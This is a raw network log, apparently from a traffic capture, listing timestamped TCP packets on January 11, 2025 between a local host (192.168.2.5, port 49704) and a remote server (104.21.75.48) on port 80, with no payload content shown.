Jan 11, 2025 06:50:57.772748947 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772768974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772840023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772854090 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772878885 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.772933006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.772988081 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773015022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773071051 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773098946 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773133993 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773168087 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773206949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773252010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773293018 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773315907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773355961 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773396969 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773439884 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773464918 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773505926 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773530006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773569107 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773597002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773629904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773658037 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773684025 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773715019 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773755074 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773780107 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773821115 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773844004 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773881912 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773910046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.773951054 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.773974895 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774013996 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774039030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774080038 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774105072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774146080 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774172068 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774219036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774241924 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774260998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774290085 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774337053 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774358034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774399996 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774425030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774462938 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774490118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774528027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774554968 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774594069 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774621010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774660110 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774687052 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774728060 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774755955 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774792910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774821997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774861097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774885893 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.774924994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.774951935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775002956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775029898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775072098 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775098085 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775135994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775162935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775201082 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775228024 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775265932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775293112 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775338888 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775376081 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775413990 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775444031 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775484085 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775509119 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775548935 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775574923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775621891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775645971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775684118 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775712967 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775753975 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775780916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775820017 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775847912 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775887012 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775914907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.775953054 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.775980949 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776022911 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776047945 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776086092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776113033 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776154041 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776180029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776222944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776245117 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776299000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776313066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776338100 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776376009 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776416063 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776442051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776480913 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776510954 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776549101 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776575089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776612997 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776643038 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776680946 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776707888 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776746035 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776772976 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776825905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776840925 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776865959 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776901960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.776947021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.776967049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777007103 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777033091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777072906 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777097940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777136087 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777163982 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777205944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777231932 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777277946 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777307987 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777323008 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777352095 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777390957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777416945 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777456999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777484894 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777523994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777545929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777585983 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777617931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777656078 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777683973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777723074 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.777743101 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.777781010 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856257915 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856343985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856401920 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856460094 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856489897 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856539011 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856555939 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856578112 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856633902 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856673956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856717110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856758118 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856802940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856847048 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856878042 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.856919050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.856959105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857002020 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857043028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857086897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857109070 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857156038 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857177973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857227087 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857248068 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857268095 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857299089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857345104 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857373953 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857388973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857438087 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857486010 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857506990 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857539892 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857558012 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857574940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857608080 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857646942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857669115 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857703924 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857733011 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857774973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857800961 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857842922 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857861042 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857901096 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.857947111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.857989073 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858032942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858078003 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858094931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858143091 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858186007 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858246088 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858273029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858316898 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858340025 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858381987 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858407974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858448982 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858475924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858520985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858544111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858587027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858603954 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858649015 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858669043 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858712912 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858736992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858781099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858803034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858843088 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858869076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858910084 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.858933926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.858973980 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859015942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859056950 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859086037 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859141111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859169960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859209061 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859230995 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859272003 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859312057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859379053 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859395981 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859436035 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859462023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859513044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859534025 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859587908 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859601021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859626055 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859663963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859719992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859734058 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859759092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859797955 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859831095 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859850883 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859905958 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859930992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.859972000 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.859998941 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860044003 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860065937 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860110044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860130072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860177994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860214949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860234976 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860253096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860294104 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860320091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860357046 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860382080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860421896 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860450029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860492945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860517979 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860562086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860584021 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860629082 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860651970 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860697031 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860718966 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860764027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860785007 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860822916 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860850096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860888958 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860913992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.860961914 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.860979080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861021042 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861047029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861093998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861116886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861160994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861185074 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861233950 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861251116 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861299992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861325979 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861345053 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861382008 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861421108 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861445904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861485004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.861510992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.861548901 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912471056 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912498951 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912519932 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912543058 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912571907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912578106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912599087 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912616014 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912621975 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912636995 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912642956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912657022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912671089 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912697077 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912730932 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912763119 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912806988 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912832022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912847042 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912853956 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912863970 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912874937 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912880898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912885904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912893057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912899017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912966967 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.912977934 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.912988901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.913008928 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.913017035 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.913028955 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.913041115 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.913049936 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.913064957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.913070917 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.913080931 CET	49704	80	192.168.2.5	104.21.75.48
